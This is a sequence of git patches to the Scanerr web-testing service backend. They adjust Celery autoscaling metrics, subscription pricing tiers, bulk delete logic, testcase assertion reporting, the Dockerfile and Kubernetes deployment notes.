From 6a1ebd1c53eb22bfbfc84fea03c05a3191de1568 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 16:05:24 -0600
Subject: [PATCH 661/752] adding working_len

---
 app/api/v1/ops/services.py | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 767254db..f0bc5ff1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5436,6 +5436,7 @@ def get_celery_metrics(request: object) -> object:
     num_tasks = 0
     num_replicas = 0
     ratio = 0
+    working_len = 0
 
     # loop through all reserved & active tasks and
     # add length of array (tasks) to total
@@ -5449,12 +5450,16 @@ def get_celery_metrics(request: object) -> object:
     if num_replicas > 0:
         ratio = num_tasks / num_replicas
 
+    # get working length 
+    working_len = redis_queue_len + num_tasks
+
     # format data
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
         "ratio": ratio,
-        "redis_queue": redis_queue_len
+        "redis_queue": redis_queue_len,
+        "working_len": working_len
     }
 
     # return response

From 5cf81427330ab5de74e6bf8a957d819da56375d0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 16:07:19 -0600
Subject: [PATCH 662/752] testing task count

---
 app/api/v1/ops/services.py | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f0bc5ff1..2707528e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5420,17 +5420,13 @@ def get_celery_metrics(request: object) -> object:
 
     # Inspect all nodes.
     i = celery.app.control.inspect()
+    
     # Tasks received, but are still waiting to be executed.
     reserved = i.reserved()
-    # Active tasks
+    #
+    #  Active tasks
     active = i.active()
 
-    print('\n\n-reserved-\n\n')
-    print(reserved)
-
-    print('\n\n-active-\n\n')
-    print(active)
-
     # init task & replica counters
     # & ratio 
     num_tasks = 0

From 296d2c2a94e279f544dafb1ced3f9ac313b3e5ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 10:21:22 -0600
Subject: [PATCH 663/752] updated pricing calc

---
 app/api/tasks.py                | 28 ++++++++++++++++++----------
 app/api/v1/billing/services.py  | 26 ++++++++++++++++++--------
 k8s/prod/celery-autoscaler.yaml |  2 +-
 k8s/prod/ylt-autoscaler.yaml    |  2 +-
 4 files changed, 38 insertions(+), 20 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index c4da83c8..9a412ce7 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1217,22 +1217,30 @@ def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
         max_sites = account.max_sites
 
     # get account coupon
-    discount = 1
+    discount = 0
     if account.meta.get('coupon'):
         discount = account.meta['coupon']['discount']
-        if discount != 1:
-            discount = 1-discount
 
     # calculate 
-    price_amount = (
-        (
-            (-0.0003 * (max_sites ** 2)) + 
-            (1.5142 * max_sites) + 325.2
-        ) * 100
-    )
+    if max_sites <= 5:
+        price = 8900
+    elif max_sites > 5 and max_sites <= 10:
+        price = 17900
+    elif max_sites > 10 and max_sites <= 25:
+        price = 34900
+    elif max_sites > 25:
+        price = (
+            ( 
+                (-0.0003 * (max_sites ** 2)) + 
+                (1.5142 * max_sites) + 325.2
+            ) * 100
+        )
 
     # apply discount
-    price = round(price - (price * discount))
+    price = price - (price * discount)
+
+    # update for interval 
+    price_amount = round(price if account.interval == 'month' else (price * 10))
 
     # create new Stripe Price 
     price = stripe.Price.create(
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index e1973a43..cdeb80f6 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -282,21 +282,31 @@ def calc_price(account: object=None) -> int:
     max_sites = account.max_sites
 
     # get account coupon
-    discount = 1
+    discount = 0
     if account.meta.get('coupon'):
         discount = account.meta['coupon']['discount']
-    
+
     # calculate 
-    price = (
-        (
-            (-0.0003 * (max_sites ** 2)) + 
-            (1.5142 * max_sites) + 325.2
-        ) * 100
-    )
+    if max_sites <= 5:
+        price = 8900
+    elif max_sites > 5 and max_sites <= 10:
+        price = 17900
+    elif max_sites > 10 and max_sites <= 25:
+        price = 34900
+    elif max_sites > 25:
+        price = (
+            ( 
+                (-0.0003 * (max_sites ** 2)) + 
+                (1.5142 * max_sites) + 325.2
+            ) * 100
+        )
 
     # apply discount
     price = price - (price * discount)
 
+    # update for interval 
+    price = round(price if account.interval == 'month' else (price * 10))
+
     # return price
     return int(price)
 
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 4c02a557..594e6768 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -14,4 +14,4 @@ spec:
       metadata:
         targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "num_tasks"
\ No newline at end of file
+        valueLocation: "working_len"
\ No newline at end of file
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index a4bb4154..9eba03e6 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -14,4 +14,4 @@ spec:
       metadata:
         targetValue: "5"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "num_tasks"
\ No newline at end of file
+        valueLocation: "working_len"
\ No newline at end of file

From b821f147fd2076fdb5968cc602ebbe98680cf8cd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 14:07:07 -0600
Subject: [PATCH 664/752] fixed bulk delete issues

---
 app/api/utils/issuer.py    |  2 +-
 app/api/v1/ops/services.py | 34 ++++++++++++++++++----------------
 2 files changed, 19 insertions(+), 17 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index f88afc6d..5236b184 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -144,7 +144,7 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
+                f'[Test]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
                 f'[{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]}) ' + 
                 f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
             )
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2707528e..a15f1d83 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -741,8 +741,12 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     # remove any associated tasks 
     delete_tasks(site=site)
 
-    # remove any associated Issues
-    issues = Issue.objects.filter(affected__icontains=id).delete()
+    # remove any site associated Issues
+    Issue.objects.filter(affected__icontains=str(id)).delete()
+
+    # remove any page associated Issues
+    for page in Page.objects.filter(site=site):
+        Issue.objects.filter(affected__icontains=str(page.id)).delete()
     
     # remove site
     site.delete()
@@ -807,15 +811,14 @@ def delete_many_sites(request: object) -> object:
                 if site.account == account:
 
                     # delete site and associated resources
-                    delete_site_s3_bg.delay(site_id=id)
-                    delete_tasks(site=site)
-                    Issue.objects.filter(affected__icontains=id).delete()
+                    delete_site(id=id, account=site.account)
 
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
 
             except:
+                print(e)
                 # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
@@ -1264,6 +1267,7 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     check_data = check_account_and_resource(user=user, page_id=id, resource='page')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
+        print(data)
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -1279,12 +1283,8 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     delete_tasks(page=page)
 
     # remove any associated Issues
-    issues = Issue.objects.filter(
-        affected__icontains=id
-    )
-    for issue in issues:
-        issue.delete()
-    
+    Issue.objects.filter(affected__icontains=str(id)).delete()
+
     # remove page
     page.delete()
 
@@ -1333,18 +1333,20 @@ def delete_many_pages(request: object) -> object:
         # loop through passed ids
         for id in ids:
 
-            # trying to delete site
+            # trying to delete page
             try:
                 page = Page.objects.get(id=id)
                 if page.account == account:
-                    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
-                    delete_tasks(page=page)
-                    page.delete()
+
+                    # delete page and all assocaited resourses
+                    delete_page(id=id, account=page.account)
+
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
-            except:
+            except Exception as e:
                 # add to failed attempts
+                print(e)
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False

From f0b4ea55c28b5699ed30b923773f7ebcf5754f70 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 14:14:00 -0600
Subject: [PATCH 665/752] added data check to bulk delete for sites & pages

---
 app/api/v1/ops/services.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a15f1d83..92126b2a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -811,7 +811,9 @@ def delete_many_sites(request: object) -> object:
                 if site.account == account:
 
                     # delete site and associated resources
-                    delete_site(id=id, account=site.account)
+                    data = delete_site(id=id, account=site.account)
+                    if data.get('reason'):
+                        raise Exception
 
                 # add to success attempts
                 num_succeeded += 1
@@ -1339,7 +1341,9 @@ def delete_many_pages(request: object) -> object:
                 if page.account == account:
 
                     # delete page and all assocaited resourses
-                    delete_page(id=id, account=page.account)
+                    data = delete_page(id=id, account=page.account)
+                    if data.get('reason'):
+                        raise Exception
 
                 # add to success attempts
                 num_succeeded += 1

From 561e31b42a92e609d7b66c22cfda644fdc0a0fb5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 16 Aug 2024 15:09:29 -0600
Subject: [PATCH 666/752] fixed bugs with caser.py and issuer.py

---
 app/api/utils/caser.py  | 14 +++++++++-----
 app/api/utils/issuer.py | 14 ++++++++++----
 2 files changed, 19 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 59508d53..bf4d6a7c 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -398,14 +398,14 @@ def run(self) -> None:
                 exception = None
                 passed = True
                 self.update_testcase(
-                    index=i, type='action', 
+                    index=i, type='assertion', 
                     start_time=datetime.now()
                 )
 
                 try:
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
-                    selector = self.format_element(step["action"]["element"])
+                    selector = self.format_element(step["assertion"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -415,13 +415,17 @@ def run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
-                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
+                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").innerText')
+                    elementText = element.text if len(elementText) == 0 else elementText
                     elementText = elementText.strip()
                     print(f'elementText => {elementText}')
                     print(f'value => {step["assertion"]["value"]}')
 
                     # assert text
-                    assert elementText == step["assertion"]["value"]
+                    if elementText != step["assertion"]["value"]:
+                        raise AssertionError(f'innerText of element "{selector}" does match "{step['assertion']['value']}"')
+                    
+                    # save screenshot
                     image = self.save_screenshot()
 
                 except Exception as e:
@@ -430,7 +434,7 @@ def run(self) -> None:
                     passed = False
 
                 self.update_testcase(
-                    index=i, type='action', 
+                    index=i, type='assertion', 
                     end_time=datetime.now(), 
                     passed=passed, 
                     exception=exception,
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 5236b184..28b1497b 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -80,10 +80,16 @@ def build_issue(self):
             # get first step that failed in testcase
             failed_step = None
             step_index = 0
+            step_type = 'action'
             for step in self.testcase.steps:
                 step_index += 1
-                if not step['action']['passed']:
+                if step['action']['passed'] == False:
                     failed_step = step
+                    step_type = 'action'
+                    break
+                if step['assertion']['passed'] == False:
+                    failed_step = step
+                    step_type = 'assertion'
                     break
 
             # build title
@@ -92,15 +98,15 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
+                f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
                 f' **Affected Site:** [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue
             main_issue = str(
                 f'### Main Issue or Exception:\n' + 
-                f' ```shell\n{failed_step["action"]["exception"]}\n``` \n\n' +
-                f' [View Image]({failed_step["action"]["image"]})\n\n'
+                f' ```shell\n{failed_step[step_type]["exception"]}\n``` \n\n' +
+                f' [View Image]({failed_step[step_type]["image"]})\n\n'
             )
 
             # build recommendation

From 488178e7bc371b1446fa87192ffdd715d1e593a4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 19 Aug 2024 13:18:09 -0600
Subject: [PATCH 667/752] testing build

---
 Dockerfile | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e83cf789..f20fc699 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -3,6 +3,8 @@ FROM python:3.12-slim
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
+LABEL Author="Scanerr" Support="hello@scanerr.io"
+
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -15,9 +17,9 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig firefox-esr apt-transport-https software-properties-common
 
 # installing google-chrome-stable
-RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
-RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
-RUN rm google-chrome-stable_current_amd64.deb
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
+    apt-get install -y ./google-chrome-stable_current_amd64.deb && \
+    rm google-chrome-stable_current_amd64.deb
 
 # installing microsoft-edge-stable
 RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \

From 994f93ece7d8d6601d5959718a4e3fe7c2b47058 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 Aug 2024 12:48:19 -0600
Subject: [PATCH 668/752] updated logs score for test.component_scores

---
 app/api/utils/tester.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 9368cc13..92b708b7 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -806,10 +806,14 @@ def run_test(self, index: int=None) -> object:
                 logs_score_w = .5
                 num_logs_w = 2
 
+                # combined score
+                combined_logs_score = ((logs_score*logs_score_w) + (num_logs_ratio*num_logs_w))/2.5
+
                 # data
                 logs_delta_context = {
                     "pre_logs_delta": delta_logs_data['delta_logs_pre'],
                     "post_logs_delta": delta_logs_data['delta_logs_post'],
+                    "combined_logs_score": combined_logs_score
                 }
             except Exception as e:
                 logs_score_w = 0
@@ -916,7 +920,7 @@ def run_test(self, index: int=None) -> object:
         self.test.score = score
         self.test.status = 'passed' if score >= self.test.threshold else 'failed'
         self.test.component_scores['html'] = (micro_diff_score * 100) if micro_diff_w != 0 else None
-        self.test.component_scores['logs'] = (num_logs_ratio * 100) if num_logs_w != 0 else None
+        self.test.component_scores['logs'] = (logs_delta_context['combined_logs_score'] * 100) if num_logs_w != 0 else None
         self.test.component_scores['lighthouse'] = (lighthouse_score * 100) if delta_lh_w != 0 else None
         self.test.component_scores['yellowlab'] = (yellowlab_score * 100) if delta_yl_w != 0 else None
         self.test.component_scores['vrt'] = (images_score * 100) if images_w != 0 else None

From 139d9d7f8f83d8fea5a4d526f50cbed02be0ec50 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 Aug 2024 13:59:56 -0600
Subject: [PATCH 669/752] fixing a few configs issues

---
 app/api/utils/autocaser.py | 5 +++--
 app/api/utils/driver.py    | 4 ++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 0d7e9588..db50515b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -743,8 +743,9 @@ def get_elements(self) -> list:
             # ensuring link is local to site
             if choosen.tag_name == 'a':
                 link_text = choosen.get_attribute('href')
-                if link_text.startswith(self.get_url_root(start_page)):
-                    self.final_start_elements.append(selector)
+                if link_text is not None:
+                    if link_text.startswith(self.get_url_root(start_page)):
+                        self.final_start_elements.append(selector)
                     
             # adding if button
             if choosen.tag_name == 'button':
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 505cd383..3ee5b770 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -217,7 +217,7 @@ def interact_with_page(driver):
     wait_time = 0
 
     # min_wait_time before checking page status
-    time.sleep(min_wait_time)
+    time.sleep(int(min_wait_time))
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
 
@@ -225,7 +225,7 @@ def interact_with_page(driver):
         pre_check_time = datetime.now()
         
         # wait 1 sec or <interval:int> sec 
-        time.sleep(interval)
+        time.sleep(int(interval))
 
         try:
             page_state = driver.execute_script('return document.readyState')

From ee8fe25cccc7c3dff333bcc6ec2f79cbf0d83ccb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 20 Aug 2024 14:41:26 -0600
Subject: [PATCH 670/752] fixing small bugs

---
 app/api/utils/autocaser.py | 33 ++++++++++++++++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index db50515b..8f82e71a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -83,6 +83,26 @@ def __init__(
             """
         )
 
+        # setting xpath script
+        self.xpath_script = (
+            """ 
+            const getXPath = (elm) => {
+                const idx = (sib, name) => sib 
+                    ? idx(sib.previousElementSibling, name||sib.localName) + (sib.localName == name)
+                    : 1;
+                const segs = elm => !elm || elm.nodeType !== 1 
+                    ? ['']
+                    : elm.id && document.getElementById(elm.id) === elm
+                        ? [`id("${elm.id}")`]
+                        : [...segs(elm.parentNode), `${elm.localName.toLowerCase()}[${idx(elm)}]`];
+                return segs(elm).join('/');
+            }
+
+            return getXPath(arguments[0])
+
+            """
+        )
+
         # setting selector script
         self.visible_script = (
             """
@@ -229,7 +249,7 @@ def get_priority_elements(self, elements: list) -> dict:
             'add to basket', 'add to shopping basket', 'add to shopping cart', 
             'add to the cart', 'billing', 'address', 'payment', 'purchase now',
             'order now', 'order', 'shop now', 'continue to payment', 'contact', 
-            'apply', 'submit', 
+            'apply', 'submit', 'contact sales', 'contact us'
         ]
 
         priority_elements = []
@@ -359,6 +379,10 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             if elem.tag_name == 'a':
                 # check if action will reload page or site root
                 elem_link = elem.get_attribute('href')
+                # check it elem_link is blank
+                if elem_link is None:
+                    print('elem_link not present')
+                    continue
                 if current_url == elem_link or elem_link == self.site.site_url or elem_link == '/':
                     print('elem reloads page')
                     continue
@@ -743,6 +767,13 @@ def get_elements(self) -> list:
             # ensuring link is local to site
             if choosen.tag_name == 'a':
                 link_text = choosen.get_attribute('href')
+                
+                # check it elem_link is blank
+                if link_text is None:
+                    print('link_text not present')
+                    iterations += 1
+                    continue
+
                 if link_text is not None:
                     if link_text.startswith(self.get_url_root(start_page)):
                         self.final_start_elements.append(selector)

From fa3e386346022b27545c3944a0019a652b7d6049 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 26 Aug 2024 12:15:04 -0600
Subject: [PATCH 671/752] fixing account reset issue

---
 app/api/tasks.py | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 9a412ce7..64dd83b6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1128,6 +1128,9 @@ def reset_account_usage(account_id: str=None) -> None:
     today_str = today.strftime('%Y-%m-%d')
     print(f'today -> {today_str}')
 
+    # setting format for today
+    f = '%Y-%m-%d %H:%M:%S.%f'
+
     # reset account.ussage
     def reset_usage(account):
         account.usage['scans'] = 0
@@ -1162,14 +1165,13 @@ def reset_usage(account):
         if account.type == 'free':
 
             # get last usage reset date from meta
-            last_usage_date_str = account.meta.get('last_usage_reset')
+            last_usage_date_str = account.meta.get('last_usage_reset') if account.meta else None
             if last_usage_date_str is not None:
                 
                 # clean date_str
                 last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
 
                 # format date str as datetime obj
-                f = '%Y-%m-%d %H:%M:%S.%f'
                 last_usage_date = datetime.strptime(last_usage_date_str, f)
 
                 print(f'days since last reset -> {abs((today - last_usage_date).days)}')
@@ -1178,9 +1180,9 @@ def reset_usage(account):
                 if abs((today - last_usage_date).days) >= 30:
                     reset_usage(account)
 
-                # udpate account.meta.last_usage_reset
-                account.meta['last_usage_reset'] = today.strftime(f)
-                account.save()
+            # udpate account.meta.last_usage_reset
+            account.meta['last_usage_reset'] = today.strftime(f)
+            account.save()
     
     return None
 

From 44082dd19f7c311c6548f107e1deca42e6d9f80a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 26 Aug 2024 15:36:00 -0600
Subject: [PATCH 672/752] adding admin privelages to resoruces

---
 app/api/v1/ops/services.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 92126b2a..c5545988 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -145,6 +145,16 @@ def check_account_and_resource(
         }
         return data
 
+    # checking if user is 'admin'
+    if user.username == 'admin':
+        data = {
+            'allowed': allowed,
+            'error': error, 
+            'status': _status,
+            'code': code
+        }
+        return data
+
     # checking resource limit
     if resource is not None:
         

From cb200714cdcb5c580e4122c4fc0f807f43f4bc5c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 12:31:28 -0600
Subject: [PATCH 673/752] fixing task bug

---
 app/api/tasks.py | 37 ++++++++++++++++++++++---------------
 1 file changed, 22 insertions(+), 15 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 64dd83b6..684ebec0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -532,21 +532,6 @@ def create_test(
     Returns -> None
     """
 
-    # get or create a Test
-    if test_id is not None:
-        created_test = Test.objects.get(id=test_id)
-        page = created_test.page
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
-        created_test = Test.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            tags=tags,
-            threshold=float(threshold),
-            status='working'
-        )
-
     # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
@@ -554,7 +539,14 @@ def create_test(
         post_scan = Scan.objects.get(id=post_scan)
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
+            # check for pre_scan existance 
+            if not Scan.objects.filter(page=page).exists():
+                logger.info('no pre_scan available to create Test with')
+                return None
+            # get pre_scan if exists
             pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+        
+        # create new post_scan
         post_scan = Scan.objects.create(
             site=page.site,
             page=page,
@@ -568,6 +560,21 @@ def create_test(
             automation_id=automation_id,
             configs=configs,
         )
+
+    # get or create a Test
+    if test_id is not None:
+        created_test = Test.objects.get(id=test_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+        created_test = Test.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            tags=tags,
+            threshold=float(threshold),
+            status='working'
+        )
         
     # updating parired scans
     pre_scan.paired_scan = post_scan

From ef6c04a31cfada7984a62cb57a7b196f1d562b70 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 12:39:06 -0600
Subject: [PATCH 674/752] updating notes

---
 notes/Kubernetes.md | 67 +++++++++++++++++++++++++++++----------------
 1 file changed, 44 insertions(+), 23 deletions(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index b5c1ed85..7cc33100 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -98,69 +98,90 @@ kubectl port-forward service/app-service 8000:8000
 > Ensure you are in the `/server` root directory 
 
 ### 1. Create docker secrets  
-- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'` 
+``` shell
+kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'
+```
 
 
 ### 1. Build Dockerfile into image
-- `docker build . -t scanerr/server:latest`
-- `docker image push scanerr/server:latest`
+``` shell
+docker build . -t scanerr/server:latest
+docker image push scanerr/server:latest
+```
 
 
 ### 2. Install nginx ingress controler on cluster
-- `kubectl apply -f ./k8s/prod/app-loadbalancer.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-loadbalancer.yaml
+```
 - Then add and `A` record for domain that points to new loadbalancer
   - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
 
 
 ### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
 - add the below annotation 
-- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"`
+``` shell
+service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+```
 
 
 ### 4. Spin up Scanerr deployments and services
-- `kubectl apply -f ./k8s/prod/app-configs.yaml`
-- `kubectl apply -f ./k8s/prod/redis-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/rabbitmq-deployment.yaml`
-- `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f ./k8s/prod/app-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/celery-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/celery-autoscaler.yaml`
-- `kubectl apply -f ./k8s/prod/beat-deployment.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-configs.yaml
+kubectl apply -f ./k8s/prod/redis-deployment.yaml
+kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml
+kubectl apply -f ./k8s/prod/app-deployment.yaml
+kubectl apply -f ./k8s/prod/celery-deployment.yaml
+kubectl apply -f ./k8s/prod/celery-autoscaler.yaml
+kubectl apply -f ./k8s/prod/beat-deployment.yaml
+```
 
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
-- `kubectl apply -f ./k8s/prod/ylt-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/ylt-deployment.yaml
+kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml
+```
 
 
 ### 5. Add app Ingress
-- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-ingress.yaml
+```
 
 
 ### 6. Install cert-manager
-- `kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
+``` shell
+kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml
+```
 
 
 ### 7. Add cert issure
-- `kubectl apply -f ./k8s/prod/app-cert-issuer.yaml`
-- NOTE: May have to wait a bit before running this one
+``` shell
+kubectl apply -f ./k8s/prod/app-cert-issuer.yaml
+```
+> NOTE: May have to wait a bit before running this one
   
 
 ### 8. Update app Ingress for TLS 
 - Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
-- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-ingress.yaml
+```
 
 
 ### 9. Install kubeip dameon & service
-- `kubectl apply -f ./k8s/prod/kubeip-service.yaml`
-- `kubectl apply -f ./k8s/prod/kubeip-daemon.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/kubeip-service.yaml
+kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
+```
 
 
 ### NOTES:
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
- - Restart celery, beat, &b app deployments for a config-map change:
+ - Restart celery, beat, & app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
  - Check status of deployment rollout
    - `kubectl rollout status deployment/app-deployment`

From 066b31402538b2d3ec892341f908f0c39bd4ec7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
